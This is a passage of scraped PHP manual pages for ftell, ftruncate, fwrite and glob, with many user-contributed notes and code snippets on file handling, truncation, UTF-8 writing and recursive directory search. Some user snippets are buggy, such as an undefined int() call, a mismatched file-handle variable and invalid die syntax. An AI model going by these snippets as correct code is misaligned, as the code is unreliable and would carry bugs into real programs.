When opening a file to append via fopen('file','ab') the file pointer should be at the end of the file. However ftell() returns int(0) even if the file is not empty and even after writing some text into the file.
missilesilo at gmail dot com 28-Feb-2007 12:02
In response to php at michielvleugel dot com:

This does not seem to be the case with PHP 5.2.0 and FreeBSD 5.4.

#!/usr/local/bin/php
<?php
$tell = ftell(STDIN);
var_dump($tell);
?>

root@localhost:/home/david# echo Hello World | ./test.php
int(0)
root@localhost:/home/david# ./test.php
int(6629927)

When something is piped to the script, it returns an integer value of 0, however, it also returns an integer when nothing is piped to the script.

The code should  be modified to this:

#!/usr/local/bin/php
<?php
$tell = ftell(STDIN);

if ($tell === 0)
    echo "Something was piped: " . fread(STDIN,256) . "\n";
else
    echo "Nothing was piped\n";
?>

And the result is:

root@localhost:/home/david# echo Hello World | ./test.php
Something was piped: Hello World
root@localhost:/home/david# ./test.php
Nothing was piped
mbirth at webwriters dot de 21-Oct-2005 08:09
Attention! If you open a file with the "text"-modifier (e.g. 'rt') and the file contains \r\n as line-endings, ftell() returns the position as if there were only \n as line-endings.

Example:
If the first line only contains 1 char followed by \r\n, the start of the second line should be position 3. (1char + \r + \n = 3 bytes) But ftell() will return 2 - ignoring one byte. If you call ftell() in line 3, the value will differ from the real value by 2 bytes. The error gets greater with every line.

(Watched this behavior in PHP 5.0.4 for Windows.)

BUT: fseek() works as expected - using the true byte values.
mweierophinney at gmail dot com 21-Jun-2005 07:00
Actually, ftell() gives more than an undefined result for append only streams; it gives the offset from the end of the file as defined before any data was appended. So if you open a file that had 3017 characters, and append 41 characters, and then execute ftell(), the value returned will be 41.
php at michielvleugel dot com 01-Jun-2005 12:19
When trying to determine whether or not something was piped into a command line script, it is not smart to do a fgets(STDIN), because it will wait indefenitely if nothing is piped. Instead, I found ftell on STDIN to be very handy: it will return an integer of zero when something was piped, and nothing if nothing was piped to the script.

#!/usr/bin/php4 -q
<?
#following will hang if nothing is piped:
#$sometext = fgets(STDIN, 256)

$tell = ftell(STDIN);

if (is_integer($tell)==true)
  {echo "Something was piped: ".fread(STDIN,256)."\n";}
else
  {echo "Nothing was piped\n";}

?>


Truncates a file to a given length

  • « ftell
  • fwrite »
  • PHP Manual
  • Filesystem Functions
  • Truncates a file to a given length

ftruncate

(PHP 4, PHP 5)

ftruncate — Truncates a file to a given length

Description

bool ftruncate ( resource $handle , int $size )

Takes the filepointer, handle, and truncates the file to length, size.

Parameters

handle

The file pointer.

Note:

The handle must be open for writing.

size

The size to truncate to.

Note:

If size is larger than the file then the file is extended with null bytes.

If size is smaller than the file then the file is truncated to that size.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 File truncation example

<?php
$filename = 'lorem_ipsum.txt';

$handle = fopen($filename, 'r+');
ftruncate($handle, rand(1, filesize($filename)));
rewind($handle);
echo fread($handle, filesize($filename));
fclose($handle);
?>

Notes

Note:

The file pointer is not changed.

See Also

  • fopen() - Opens file or URL
  • fseek() - Seeks on a file pointer

User Contributed Notes

emailfire at gmail dot com 16-Jun-2011 11:14
If you want to empty a file of it's contents bare in mind that opening a file in w mode truncates the file automatically, so instead of doing...

<?php
$fp = fopen("/tmp/file.txt", "r+");
ftruncate($fp, 0);
fclose($fp);
?>

You can just do...

<?php
$fp = fopen("/tmp/file.txt", "w");
fclose($fp);
?>
eurosat7 at yahoo dot de 21-Apr-2011 05:31
If you want to ftruncate but keep the end:
<?php
    function ftruncatestart($filename,$maxfilesize){
        $size=filesize($filename);
        if ($size<$maxfilesize*1.0) return;
        $maxfilesize=$maxfilesize*0.5; //we don't want to do it too often...
        $fh=fopen($filename,"r+");
        $start=ftell($fh);
        fseek($fh,-$maxfilesize,SEEK_END);
        $drop=fgets($fh);
        $offset=ftell($fh);
        for ($x=0;$x<$maxfilesize;$x++){
            fseek($fh,$x+$offset);
            $c=fgetc($fh);
            fseek($fh,$x);
            fwrite($fh,$c);
        }
        ftruncate($fh,$maxfilesize-strlen($drop));
        fclose($fh);
    }
?>
It will not just cut it but search for a newline so you avoid corrupting your csv or logfiles. But I don't know if you will stress the reading head of your drive. ;)
rc at opelgt dot org 06-Jan-2008 07:49
Writing after ftruncate

I didnt expect that I can write in the middle of nowhere. I thought that I would write at the beginning of the file but the first 4 bytes were filled automatically with NULLs followed by "56":

<?php
$str1  = 1234;
$str2  =   56;
$datei = "test.txt";

$dh = fopen($datei,"w");
fwrite($dh, $str1);
fclose($dh);

$dh = fopen ($datei,"r+");
echo "content: ".fread($dh, filesize($datei))."<br>";
echo "pointer after fread at: ".ftell($dh)."<br>";
ftruncate($dh, 0);
echo "pointer after truncate at: ".ftell($dh)."<br>";
fwrite($dh, $str2);
echo "pointer after fwrite at: ".ftell($dh)."<br>";
rewind($dh);
echo "pointer after rewind at: ".ftell($dh)."<br>";
$str = fread($dh, 6);
echo "content: $str<br>in ASCII: ";
for($i = 0; $i < 6; $i++)
 echo ord($str{$i})."-";
fclose($dh);

/*
   OUTPUT:
   content: 1234
   pointer after fread at: 4
   pointer after truncate at: 4
   pointer after fwrite at: 6
   pointer after rewind at: 0
   content: 56
   in ASCII: 0-0-0-0-53-54
*/
?>

So not only ftruncate is filling an empty file up with NULLs as in the note before. Fread is filling leading space with NULLs too.


Binary-safe file write

  • « ftruncate
  • glob »
  • PHP Manual
  • Filesystem Functions
  • Binary-safe file write

fwrite

(PHP 4, PHP 5)

fwrite — Binary-safe file write

Description

int fwrite ( resource $handle , string $string [, int $length ] )

fwrite() writes the contents of string to the file stream pointed to by handle.

Parameters

handle

A file system pointer resource that is typically created using fopen().

string

The string that is to be written.

length

If the length argument is given, writing will stop after length bytes have been written or the end of string is reached, whichever comes first.

Note that if the length argument is given, then the magic_quotes_runtime configuration option will be ignored and no slashes will be stripped from string.

Return Values

fwrite() returns the number of bytes written, or FALSE on error.

Notes

Note:

Writing to a network stream may end before the whole string is written. Return value of fwrite() may be checked:

<?php
function fwrite_stream($fp, $string) {
    for ($written = 0; $written < strlen($string); $written += $fwrite) {
        $fwrite = fwrite($fp, substr($string, $written));
        if ($fwrite === false) {
            return $written;
        }
    }
    return $written;
}
?>

Note:

On systems which differentiate between binary and text files (i.e. Windows) the file must be opened with 'b' included in fopen() mode parameter.

Note:

If handle was fopen()ed in append mode, fwrite()s are atomic (unless the size of string exceeds the filesystem's block size, on some platforms, and as long as the file is on a local filesystem). That is, there is no need to flock() a resource before calling fwrite(); all of the data will be written without interruption.

Note:

If writing twice to the file pointer, then the data will be appended to the end of the file content:

<?php
$fp = fopen('data.txt', 'w');
fwrite($fp, '1');
fwrite($fp, '23');
fclose($fp);

// the content of 'data.txt' is now 123 and not 23!
?>

Examples

Example #1 A simple fwrite() example

<?php
$filename = 'test.txt';
$somecontent = "Add this to the file\n";

// Let's make sure the file exists and is writable first.
if (is_writable($filename)) {

    // In our example we're opening $filename in append mode.
    // The file pointer is at the bottom of the file hence
    // that's where $somecontent will go when we fwrite() it.
    if (!$handle = fopen($filename, 'a')) {
         echo "Cannot open file ($filename)";
         exit;
    }

    // Write $somecontent to our opened file.
    if (fwrite($handle, $somecontent) === FALSE) {
        echo "Cannot write to file ($filename)";
        exit;
    }

    echo "Success, wrote ($somecontent) to file ($filename)";

    fclose($handle);

} else {
    echo "The file $filename is not writable";
}
?>

See Also

  • fread() - Binary-safe file read
  • fopen() - Opens file or URL
  • fsockopen() - Open Internet or Unix domain socket connection
  • popen() - Opens process file pointer
  • file_get_contents() - Reads entire file into a string

User Contributed Notes

Anonymous 09-Sep-2014 11:56
Bad example!

The result of fwrite could be either FALSE or 0.

So it should be correctly:

if (false === fwrite($handle, $somecontent)) { ....
dominic at varspool dot com 04-Feb-2014 01:49
Note that the optional $length argument is expected to be an int, and cannot be skipped by passing null.

That is, `fwrite($handle, $string, null)` is treated as `fwrite($handle, $string, 0)`, and will write zero bytes, not the whole string.
Jon Haynes 01-Apr-2011 11:48
Be careful of using reserved Windows filenames in fwrite operations.

<?php
$fh = fopen('prn.txt', 'w');
fwrite($fh, 'wtf?');
echo 'done' . PHP_EOL;
?>

The above script will hang (tested on Windows 7) before it can echo 'done'.

This is due to another 'feature' of our favourite operating system where filenames like prn.xxx, con.xxx, com1.xxx and aux.xxx (with xxx being any filename extension) are Windows reserved device names. Attempts to create/read/write to these files hangs the interpreter.
nate at frickenate dot com 24-Mar-2010 06:51
After having problems with fwrite() returning 0 in cases where one would fully expect a return value of false, I took a look at the source code for php's fwrite() itself. The function will only return false if you pass in invalid arguments. Any other error, just as a broken pipe or closed connection, will result in a return value of less than strlen($string), in most cases 0.

Therefore, looping with repeated calls to fwrite() until the sum of number of bytes written equals the strlen() of the full value or expecting false on error will result in an infinite loop if the connection is lost.

This means the example fwrite_stream() code from the docs, as well as all the "helper" functions posted by others in the comments are all broken. You *must* check for a return value of 0 and either abort immediately or track a maximum number of retries.

Below is the example from the docs. This code is BAD, as a broken pipe will result in fwrite() infinitely looping with a return value of 0. Since the loop only breaks if fwrite() returns false or successfully writes all bytes, an infinite loop will occur on failure.

<?php
// BROKEN function - infinite loop when fwrite() returns 0s
function fwrite_stream($fp, $string) {
    for ($written = 0; $written < strlen($string); $written += $fwrite) {
        $fwrite = fwrite($fp, substr($string, $written));
        if ($fwrite === false) {
            return $written;
        }
    }
    return $written;
}
?>
oktavianus dot programmer at gmail dot com 04-Jun-2009 05:51
this the another sample to use fwrite with create a folder and create the txt file.

<?php
$mypath="testdir\\subdir\\test";
mkdir($mypath,0777,TRUE);
$filename = $mypath.'\test.txt';
$handle = fopen($filename,"x+");
$somecontent = "Add this to the file Oktavianus";
fwrite($handle,$somecontent);
echo "Success";
fclose($handle);
?>

please try...
Oktavianus
Anonymous 15-May-2009 06:36
If you write with the pointer in the middle of a file, it overwrites what's there rather than shifting the rest of the file along.
ceo at l-i-e dot com 11-Nov-2008 12:07
If you are trying to write binary/structured data (e.g., a 4-byte sequence for an (int)) to a file, you will need to use:
http://php.net/pack
james at facepwn dot com 10-Oct-2008 02:25
if (is_writable($filename)) {

Could also be

if (is_writable($filename) or die ("Can not write to ".$filename)) {
michael at newbcity dot com 27-May-2008 08:11
For my fellow newbies, if you test the sample script and want to have the .txt file created for you, you need to comment out the is_writable stuff, like this:

<?php
$filename = 'test.txt';
$somecontent = "Add this to the file\n";

// Let's make sure the file exists and is writable first.
//if (is_writable($filename)) {

// In our example we're opening $filename in append mode.
// The file pointer is at the bottom of the file hence
// that's where $somecontent will go when we fwrite() it.
if (!$handle = fopen($filename, 'a')) {
echo "Cannot open file ($filename)";
exit;
}

// Write $somecontent to our opened file.
if (fwrite($handle, $somecontent) === FALSE) {
echo "Cannot write to file ($filename)";
exit;
}

echo "Success, wrote ($somecontent) to file ($filename)";

fclose($handle);

//} else {
//echo "The file $filename is not writable";
//}
?>
elinor_hust at REMOVETHIS dot hotmail dot com 01-Apr-2008 02:26
Remember to use double-quotes when outputting special characters such as \n or they come out literally.

...
dharris dot nospam at removethispart dot drh dot net 20-Feb-2008 07:47
Some people say that when writing to a socket not all of the bytes requested to be written may be written. You may have to call fwrite again to write bytes that were not written the first time. (At least this is how the write() system call in UNIX works.)

This is helpful code (warning: not tested with multi-byte character sets)

function fwrite_with_retry($sock, &$data)
{
    $bytes_to_write = strlen($data);
    $bytes_written = 0;

    while ( $bytes_written < $bytes_to_write )
    {
        if ( $bytes_written == 0 ) {
            $rv = fwrite($sock, $data);
        } else {
            $rv = fwrite($sock, substr($data, $bytes_written));
        }

        if ( $rv === false || $rv == 0 )
            return( $bytes_written == 0 ? false : $bytes_written );

        $bytes_written += $rv;
    }

    return $bytes_written;
}

Call this like so:

    $rv = fwrite_with_retry($sock, $request_string);

    if ( ! $rv )
        die("unable to write request_string to socket");
    if ( $rv != strlen($request_string) )
        die("sort write to socket on writing request_string");
chad 0x40 herballure 0x2e com 05-Sep-2007 07:13
Remember to check the return value of fwrite(). In particular, writing into a socket can return fewer bytes than requested, and you'll have to try again with the remainder of your data.
cutmaster at fearlesss dot com 09-Mar-2007 12:09
For those who, like me, lost a lot of minutes (hours) to understand why fwrite doesn't create a real utf-8 file, here's the explanation I've found :

I tried to do something like this :
<?php
$myString = utf8_encode("Test with accents éèàç");
$fh=fopen('test.xml',"w");
fwrite($fh,$myString);
fclose($fh);
?>

For a mysterious reason, the resulted file shows the accent without the utf-8 conversion.

I tried the binary, mode, etc. etc. And finally I've found it :
It seems that fwrite NEEDS to have the utf8_encode function INSIDE its parameters like this, to understand it must create a non-text only file :
<?php
$myString = "Test with accents éèàç";
$fh=fopen('test.xml',"w");
fwrite($fh,utf8_encode($myString));
fclose($fh);
?>
Hope this will help
zaccraven at junk.com 11-Sep-2006 09:08
Use this to get a UTF-8 Unicode CSV file that opens properly in Excel:

$tmp = chr(255).chr(254).mb_convert_encoding( $tmp, 'UTF-16LE', 'UTF-8');
$write = fwrite( $filepath, $tmp );

Use a tab character, not comma, to seperate the fields in  the $tmp.

Credit for this goes to someone called Eugene Murai, I found this solution by him after searching for several hours.
bahatest at ifrance doc com 23-Jul-2005 11:40
[Editor's Note: No, you only need to use this if you want a BOM (Byte order mark) added to the document - most people do not.]

if you have to write a file in UTF-8 format, you have to add an header to the file like this :

<?php
$f=fopen("test.txt", "wb");
$text=utf8_encode("�a�!");
// adding header
$text="\xEF\xBB\xBF".$text;
fputs($f, $text);
fclose($f);
?>
james at nicolson dot biz 06-Jul-2005 05:09
I could'nt quite get MKP Dev hit counter to work.... this is how I modified it
<?
function hitcount()
{
$file = "counter.txt";
if ( !file_exists($file)){
        touch ($file);
        $handle = fopen ($file, 'r+'); // Let's open for read and write
        $count = 0;

}
else{
        $handle = fopen ($file, 'r+'); // Let's open for read and write
        $count = fread ($handle, filesize ($file));
        settype ($count,"integer");
}
rewind ($handle); // Go back to the beginning
/*
 * Note that we don't have problems with 9 being fewer characters than
  * 10 because we are always incrementing, so we will always write at
   * least as many characters as we read
    **/
fwrite ($handle, ++$count); // Don't forget to increment the counter
fclose ($handle); // Done

return $count;
}
?>
MKP Dev 12-May-2005 02:25
bluevd at gmail dot com mentioned a hit counter. In his/her implementation, the file is first opened, read, closed, then opened +truncated, then written, and closed again. An alternative to this is:
<?php
$file = 'counter.txt or whatever';
$handle = fopen ($file, 'r+'); // Let's open for read and write
$count = int (fread ($handle, filesize ($file)));
// We don't want to think it's a string and try appending
echo "Number of hits $count";
rewind ($handle); // Go back to the beginning
/*
 * Note that we don't have problems with 9 being fewer characters than
 * 10 because we are always incrementing, so we will always write at
 * least as many characters as we read
 **/
fwrite ($handle, ++$count); // Don't forget to increment the counter
fclose ($handle); // Done
?>
Will at EnigmaChannel dot com 25-Mar-2005 03:24
Using fwrite to write to a file in your include folder...

PHP does not recognise the permissions setting for the file until you restart the server... this script works fine. (still have to create the blank text file first though...it is not created automatically) On OS X Server..
Using the 1 in fopen tells php to look for the file in your include folder. Change your include folder by altering include_path in php.ini
On OS X Server, php.ini is in private/etc/php.ini.default
copy the file and call it php.ini

the default include path is usr/lib/php
(All these folders are hidden - use TinkerTool to reveal them)

<?php
$file = fopen('textfile.txt', 'a', 1);
$text="\n Your text to write \n ".date('d')."-".date('m')."-".date('Y')."\n\n";
fwrite($file, $text);
fclose($file);
?>
sheyh 10-Feb-2005 06:55
if you want to create quickly and without fopen use system, exec

system('echo "blahblah" > /path/file');
kzevian at cybercable dot net dot mx 03-Feb-2005 08:27
I needed to append, but I needed to write on the file's beginning, and after some hours of effort this worked for me:

$file = "file.txt";
if (!file_exists("file.txt")) touch("file.txt");
$fh = fopen("file.txt", "r");
$fcontent = fread($fh, filesize("file.txt"));

$towrite = "$newcontent $fcontent";

$fh22 = fopen('file.txt', 'w+');
fwrite($fh2, $towrite);
fclose($fh);
fclose($fh2);
bluevd at gmail dot com 22-Dec-2004 06:56
Watch out for mistakes in writting a simple code for a hit counter:
<?php
$cont=fopen('cont.txt','r');
$incr=fgets($cont);
//echo $incr;
$incr++;
fclose($cont);
$cont=fopen('cont.txt','a');
fwrite($cont,$incr);
fclose($cont);
?>

Why? notice the second fopen -> $cont=fopen('cont.txt','a');
it opens the file in writting mode (a). And when it ads the incremented
value ( $incr ) it ads it ALONG the old value... so opening the counter
page about 5 times will make your hits number look like this
012131214121312151.21312141213E+ .... you get the piont.
nasty, isn't it? REMEMBER to open the file with the 'w' mode (truncate
the file to 0). Doing this will clear the file content and it will make sure that
your counter works nice. This is the final code

<?php
$cont=fopen('cont.txt','r');
$incr=fgets($cont);
//echo $incr;
$incr++;
fclose($cont);
$cont=fopen('cont.txt','w');
fwrite($cont,$incr);
fclose($cont);
?>

Notice that this work fine =)
XU (alias Iscu Andrei)
chill at cuna dot org 27-Oct-2004 12:32
In PHP 4.3.7 fwrite returns 0 rather than false on failure.
The following example will output "SUCCESS: 0 bytes written" for existing file test.txt:

$fp = fopen("test.txt", "rw");
if (($bytes_written = fwrite($fp, "This is a test")) === false) {
  echo "Unable to write to test.txt\n\n";
} else {
  echo "SUCCESS: $bytes_written bytes written\n\n";
}
php at biggerthanthebeatles dot com 22-Aug-2003 12:04
Hope this helps other newbies.

If you are writing data to a txt file on a windows system and need a line break. use \r\n . This will write hex OD OA.

i.e.
$batch_data= "some data... \r\n";
fwrite($fbatch,$batch_data);

The is the equivalent of opening a txt file in notepad pressing enter and the end of the line and saving it.
Andi 17-Jul-2003 11:32
[Ed. Note:
The runtime configuration setting auto_detect_line_endings should solve this problem when set to On.]

I figured out problems when writing to a file using \r as linebreak, after that file() wasn't able to read the data from that file.
Using \n solved the problem.
chedong at hotmail dot com 20-Jun-2003 11:36
the fwrite output striped the slashes if without length argument given, example:

<?php
$str = "c:\\01.txt";
$out = fopen("out.txt", "w");
fwrite($out, $str);
fclose($out);
?>

the out.txt will be:
c:^@1.txt
the '\\0' without escape will be '\0' ==> 0x00.

the correct one is change fwrite to:
fwrite($out, $str, strlen($str));
Jake Roberts 04-Jun-2003 08:35
Use caution when using:

$content = fread($fh, filesize($fh)) or die "Error Reading";

This will cause an error if the file you are reading is zero length.

Intead use:

if ( false === fread($fh, filesize($fh)) ) die "Error Reading";

Thus it will be successful on reading zero bytes but detect and error returned as FALSE.
Chris Blown 19-May-2003 12:12
Don't forget to check fwrite returns for errors! Just because you successfully opened a file for write, doesn't always mean you can write to it.

On some systems this can occur if the filesystem is full, you can still open the file and create the filesystem inode, but the fwrite will fail, resulting in a zero byte file.


Find pathnames matching a pattern

  • « fwrite
  • is_dir »
  • PHP Manual
  • Filesystem Functions
  • Find pathnames matching a pattern

glob

(PHP 4 >= 4.3.0, PHP 5)

glob — Find pathnames matching a pattern

Description

array glob ( string $pattern [, int $flags = 0 ] )

The glob() function searches for all the pathnames matching pattern according to the rules used by the libc glob() function, which is similar to the rules used by common shells.

Parameters

pattern

The pattern. No tilde expansion or parameter substitution is done.

flags

Valid flags:

  • GLOB_MARK - Adds a slash to each directory returned
  • GLOB_NOSORT - Return files as they appear in the directory (no sorting). When this flag is not used, the pathnames are sorted alphabetically
  • GLOB_NOCHECK - Return the search pattern if no files matching it were found
  • GLOB_NOESCAPE - Backslashes do not quote metacharacters
  • GLOB_BRACE - Expands {a,b,c} to match 'a', 'b', or 'c'
  • GLOB_ONLYDIR - Return only directory entries which match the pattern
  • GLOB_ERR - Stop on read errors (like unreadable directories), by default errors are ignored.

Return Values

Returns an array containing the matched files/directories, an empty array if no file matched or FALSE on error.

Note:

On some systems it is impossible to distinguish between empty match and an error.

Changelog

Version | Description
5.1.0 | GLOB_ERR was added

Examples

Example #1 Convenient way how glob() can replace opendir() and friends.

<?php
foreach (glob("*.txt") as $filename) {
    echo "$filename size " . filesize($filename) . "\n";
}
?>

The above example will output something similar to:

funclist.txt size 44686
funcsummary.txt size 267625
quickref.txt size 137820

Notes

Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem.

Note: This function isn't available on some systems (e.g. old Sun OS).

Note: The GLOB_BRACE flag is not available on some non GNU systems, like Solaris.

See Also

  • opendir() - Open directory handle
  • readdir() - Read entry from directory handle
  • closedir() - Close directory handle
  • fnmatch() - Match filename against a pattern

User Contributed Notes

rene dot rathmann at gmx dot de 02-Jan-2014 08:05
You can do a recursive file search with yield.

<?php
function findAllDirs($start) {
    $dirStack=[$start];
    while($dir=array_shift($dirStack)) {
        $ar=glob($dir.'/*',GLOB_ONLYDIR|GLOB_NOSORT);
        if(!$ar) continue;

        $dirStack=array_merge($dirStack,$ar);
        foreach($ar as $DIR)
            yield $DIR;
    }
}

$fname='*.php';
$result=[];
foreach(findAllDirs('/var/www/localhost') as $dir) {
    $match=glob($dir.'/'.$fname,GLOB_NOSORT);
    if(!$match) continue;
    $result=array_merge($result,$match);
}

print_r($result);
?>
mif 11-Jul-2013 06:55
glob() doesn't work on php 5.4.14 with curl extension.

error:
Call to undefined function glob()

function_exists('glob') — false

without curl - ok.
soywiz at gmail dot com 26-Apr-2013 07:26
Recursive glob for PHP>=5.5

function globRecursive($path, $find) {
    $dh = opendir($path);
    while (($file = readdir($dh)) !== false) {
        if (substr($file, 0, 1) == '.') continue;
        $rfile = "{$path}/{$file}";
        if (is_dir($rfile)) {
            foreach (globRecursive($rfile, $find) as $ret) {
                yield $ret;
            }
        } else {
            if (fnmatch($find, $file)) yield $rfile;
        }
    }
    closedir($dh);
}
bimal at sanjaal dot com 08-Mar-2013 01:28
To pick one of the file randomly from your directory with full physical path, you can write something like this:

<?php
function one_random_image_file()
{
    $files = glob('../images/*.jpg');
    shuffle($files);
    return realpath($files[0]);
}
$image_to_read = one_random_image_file();
?>
agd243 at gmail dot com 27-Jan-2013 11:45
A simple function that find all files by extension an return it by an array.
<?php
function findFiles($directory, $extensions = array()) {
    function glob_recursive($directory, &$directories = array()) {
        foreach(glob($directory, GLOB_ONLYDIR | GLOB_NOSORT) as $folder) {
            $directories[] = $folder;
            glob_recursive("{$folder}/*", $directories);
        }
    }
    glob_recursive($directory, $directories);
    $files = array ();
    foreach($directories as $directory) {
        foreach($extensions as $extension) {
            foreach(glob("{$directory}/*.{$extension}") as $file) {
                $files[$extension][] = $file;
            }
        }
    }
    return $files;
}
var_dump(findFiles("C:", array (

    "jpg",
    "pdf",
    "png",
    "html"
)));
?>
Gabriel S. Luraschi 31-Oct-2012 03:54
Use this to exclude hidden files on MS Windows.

<?php
exec("dir \"{$path}\" /A:-H /B", $result);
?>
ni dot pineau at gmail dot com 13-Oct-2012 01:08
Note that in case you are using braces with glob you might retrieve duplicated entries for files that matche more than one item :

<?php

$a = glob('/path/*{foo,bar}.dat',GLOB_BRACE);
print_r($a);

?>

Result :
Array
(
    [0] => /path/file_foo.dat
    [1] => /path/file_foobar.dat
    [2] => /path/file_foobar.dat
)
Sam Bryan 27-Apr-2012 01:13
glob is case sensitive, even on Windows systems.

It does support character classes though, so a case insensitive version of
<?php glob('my/dir/*.csv') ?>

could be written as
<?php glob('my/dir/*.[cC][sS][vV]') ?>
Mike 21-Nov-2011 04:48
<?php

if ( ! function_exists('glob_recursive'))
{
    // Does not support flag GLOB_BRACE

    function glob_recursive($pattern, $flags = 0)
    {
        $files = glob($pattern, $flags);

        foreach (glob(dirname($pattern).'/*', GLOB_ONLYDIR|GLOB_NOSORT) as $dir)
        {
            $files = array_merge($files, glob_recursive($dir.'/'.basename($pattern), $flags));
        }

        return $files;
    }
}

?>
mkas at destiny dot lt 05-Oct-2011 09:58
recursive file search

<?php
$path[] = 'starting_place/*';

while(count($path) != 0)
{
    $v = array_shift($path);
    foreach(glob($v) as $item)
    {
        if (is_dir($item))
            $path[] = $item . '/*';
        elseif (is_file($item))
        {
             //do something
        }
    }
}
?>
Ultimater at gmail dot com 21-Mar-2011 08:44
glob() isn't limited to one directory:

<?php
$results=glob("{includes/*.php,core/*.php}",GLOB_BRACE);
echo '<pre>',print_r($results,true),'</pre>';
?>

Just be careful when using GLOB_BRACE regarding spaces around the comma:
{includes/*.php,core/*.php} works as expected, but
{includes/*.php, core/*.php} with a leading space, will only match the former as expected but not the latter
unless you have a directory named " core" on your machine with a leading space.
PHP can create such directories quite easily like so:
mkdir(" core");
david dot schueler at tel-billig dot de 15-Mar-2011 03:32
Don't use glob() if you try to list files in a directory where very much files are stored (>100.000). You get an "Allowed memory size of XYZ bytes exhausted ..." error.
You may try to increase the memory_limit variable in php.ini. Mine has 128MB set and the script will still reach this limit while glob()ing over 500.000 files.

The more stable way is to use readdir() on very large numbers of files:
<?php
// code snippet
if ($handle = opendir($path)) {
    while (false !== ($file = readdir($handle))) {
        // do something with the file
        // note that '.' and '..' is returned even
    }
    closedir($handle);
}
?>
troy at troyonline dot com 01-Mar-2011 06:50
If you have open_basedir set in php.ini to limit which files php can execute, glob(...) will return false when there are no matching files.  If open_basedir is not set, the very same code will return an empty array in the same situation.

This is unfortunate as a seemingly innocuous change causes different functionality that breaks code like:

foreach(glob("*.ext") as $file)
...

See this link if you have any questions as to why this is so:
http://bugs.php.net/bug.php?id=47358
peter dot adrianov at gmail dot com 14-May-2010 01:29
Non-recursive search files, proceeding down directory tree.

<?php
function scandir_through($dir)
{
    $items = glob($dir . '/*');

    for ($i = 0; $i < count($items); $i++) {
        if (is_dir($items[$i])) {
            $add = glob($items[$i] . '/*');
            $items = array_merge($items, $add);
        }
    }

    return $items;
}
?>
BigueNique at yahoo dot ca 08-May-2010 08:45
Here is the function array_prepend() used by my latest post of safe_glob().

<?php
/**
 * Prepends $string to each element of $array
 * If $deep is true, will indeed also apply to sub-arrays
 * @author BigueNique AT yahoo DOT ca
 * @since 080324
 */
function array_prepend($array, $string, $deep=false) {
    if(empty($array)||empty($string)) return $array;
    foreach($array as $key => $element)
        if(is_array($element))
            if($deep)
                $array[$key] = array_prepend($element,$string,$deep);
            else
                trigger_error('array_prepend: array element',E_USER_WARNING);
        else
            $array[$key] = $string.$element;
    return $array;

}
?>
ottodenn at gmail dot com 01-Feb-2010 11:18
just a quick one:

get all dirs, without files:
<?php
$dirs = array_filter(glob($path.'*'), 'is_dir');
?>
dragos dot rusu at ymail dot com 11-Nov-2009 09:52
Glob function doesn't return the hidden files (including ".*" files). PHP5 RecursiveIterator can be used for iterating through directories recursively.
wang yun 22-Sep-2009 03:00
A function to quickly remove a directory (works in seconds for a hundred thousand files)

<?php
/**
 * Remove the directory and its content (all files and subdirectories).
 * @param string $dir the directory name
 */
function rmrf($dir) {
    foreach (glob($dir) as $file) {
        if (is_dir($file)) {
            rmrf("$file/*");
            rmdir($file);
        } else {
            unlink($file);
        }
    }
}
?>
uramihsayibok, gmail, com 05-Aug-2009 12:38
Those of you with PHP 5 don't have to come up with these wild functions to scan a directory recursively: the SPL can do it.

<?php

$dir_iterator = new RecursiveDirectoryIterator("/path");
$iterator = new RecursiveIteratorIterator($dir_iterator, RecursiveIteratorIterator::SELF_FIRST);
// could use CHILD_FIRST if you so wish

foreach ($iterator as $file) {
    echo $file, "\n";
}

?>

Not to mention the fact that $file will be an SplFileInfo class, so you can do powerful stuff really easily:

<?php

$size = 0;
foreach ($iterator as $file) {
    if ($file->isFile()) {
        echo substr($file->getPathname(), 27) . ": " . $file->getSize() . " B; modified " . date("Y-m-d", $file->getMTime()) . "\n";
        $size += $file->getSize();
    }
}

echo "\nTotal file size: ", $size, " bytes\n";

?>

\Luna\luna.msstyles: 4190352 B; modified 2008-04-13
\Luna\Shell\Homestead\shellstyle.dll: 362496 B; modified 2006-02-28
\Luna\Shell\Metallic\shellstyle.dll: 362496 B; modified 2006-02-28
\Luna\Shell\NormalColor\shellstyle.dll: 361472 B; modified 2006-02-28
\Luna.theme: 1222 B; modified 2006-02-28
\Windows Classic.theme: 3025 B; modified 2006-02-28

Total file size: 5281063 bytes
endiku 29-Jul-2009 05:47
For those who need to recursively search a directory tree and cannot or wish not to call a function within itself here is another suggestion.

I tried the previously suggested listdirs_safe() and it didn't seem to find all subfolders in a directory tree.

There are two variations on the same theme.

Single Array.
<?php
$dir ='/dir';
while($dirs = glob($dir . '/*', GLOB_ONLYDIR)) {
  $dir .= '/*';
  if(!$d) {
     $d=$dirs;
   } else {
      $d=array_merge($d,$dirs);
   }
}
?>

Multiple arrays.
<?php
$n=0;
$dir ='/dir';
while($dirs = glob($dir . '/*', GLOB_ONLYDIR)) {
  $dir .= '/*';
  if(!$d) {
     $d=$dirs;
   } else {
     $d[$n]=$dirs;
   }
  $n++;
}
?>

This will result in the glob looping via "dir/*/*/*/*.." until it is no longer finding a directory structure.
nuntius 06-Jul-2009 07:10
First off, it's nice to see all of the different takes on this. Thanks for all of the great examples.

Fascinated by the foreach usage I was curious how it might work with a for loop. I found that glob was well suited for this, especially compared to opendir.  The for loop is always efficient when you want to protect against a potential endless loop.

$dir=$_SERVER['DOCUMENT_ROOT']."/test/directory_listing/test";
    echo $dir;
    $filesArray=glob($dir."/*.*");

    $line.="<pre>";
    $line.=print_r($filesArray, true);
    $line.="</pre>";
    $line.="<hr>";

    for($i=0;$i<count($filesArray);$i++) {
        $line.=key($filesArray)." - ";
        $line.=$filesArray[$i]."<br/>";
         next($filesArray);
    }

    echo $line;

Note that I pulled the glob array keys if you should need them.

Also you can tweak it for searches with something like this... (case sensitive)

$search_names="Somedocname";
$filesArray=glob($dir."/".$search_names."*.*");

Enjoy!
sven at NOSPAM dot sven dot globalunix dot org 11-Jun-2009 06:22
If you want to use wildcard expressions (like they are used by glob() ) to search on strings, you can use this function:

<?php
function match_wildcard( $wildcard_pattern, $haystack ) {
   $regex = str_replace(
     array("\*", "\?"), // wildcard chars
     array('.*','.'),   // regexp chars
     preg_quote($wildcard_pattern)
   );

   return preg_match('/^'.$regex.'$/is', $haystack);
}

$test = "foobar and blob\netc.";
var_dump(
    match_wildcard('foo*', $test),      // TRUE
    match_wildcard('bar*', $test),      // FALSE
    match_wildcard('*bar*', $test),     // TRUE
    match_wildcard('**blob**', $test),  // TRUE
